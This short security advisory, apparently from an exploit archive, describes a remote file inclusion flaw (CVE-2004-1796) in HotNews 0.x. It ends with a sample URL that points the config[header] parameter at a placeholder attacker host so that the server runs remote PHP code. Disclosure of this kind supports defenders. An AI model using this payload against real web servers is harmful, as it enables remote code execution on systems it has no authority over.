HotNews 0.x - 'hotnews-engine.inc.php3?config[header]' Remote File Inclusion

Related Vulnerabilities: CVE-2004-1796  
Publish Date: 05 Jan 2004
Author: Officerrr
                							

                source: http://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]